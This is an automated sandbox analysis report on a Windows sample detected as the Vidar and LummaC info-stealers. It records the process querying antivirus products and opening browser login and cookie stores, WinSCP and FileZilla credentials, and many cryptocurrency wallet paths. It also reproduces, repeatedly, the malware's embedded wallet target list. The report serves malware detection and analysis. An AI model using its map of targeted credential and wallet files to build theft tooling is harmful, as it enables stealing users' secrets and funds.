Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041C0B3 lstrcpyA,GetLocalTime,SystemTimeToFileTime, 3_2_0041C0B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA, 3_2_00410C53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 3_2_00410D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: RegAsm.exe, 00000003.00000002.3010666242.000000000137A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 0.2.file.exe.3a95570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3a95570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.3010666242.00000000013DD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: RegAsm.exe, 00000003.00000002.2999510077.0000000000FC1000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: *electrum*.*
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2999510077.0000000000FC1000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: *exodus*.*
Source: RegAsm.exe, 00000003.00000002.2999510077.0000000000FC1000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: *ethereum*.*
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: MultiDoge
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.3010666242.0000000001432000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Bitcoin Core|1|\Bitcoin\wallets\|wallet.dat|1|Bitcoin Core Old|1|\Bitcoin\|*wallet*.dat|0|Dogecoin|1|\Dogecoin\|*wallet*.dat|0|Raven Core|1|\Raven\|*wallet*.dat|0|Daedalus Mainnet|1|\Daedalus Mainnet\wallets\|she*.sqlite|0|Blockstream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
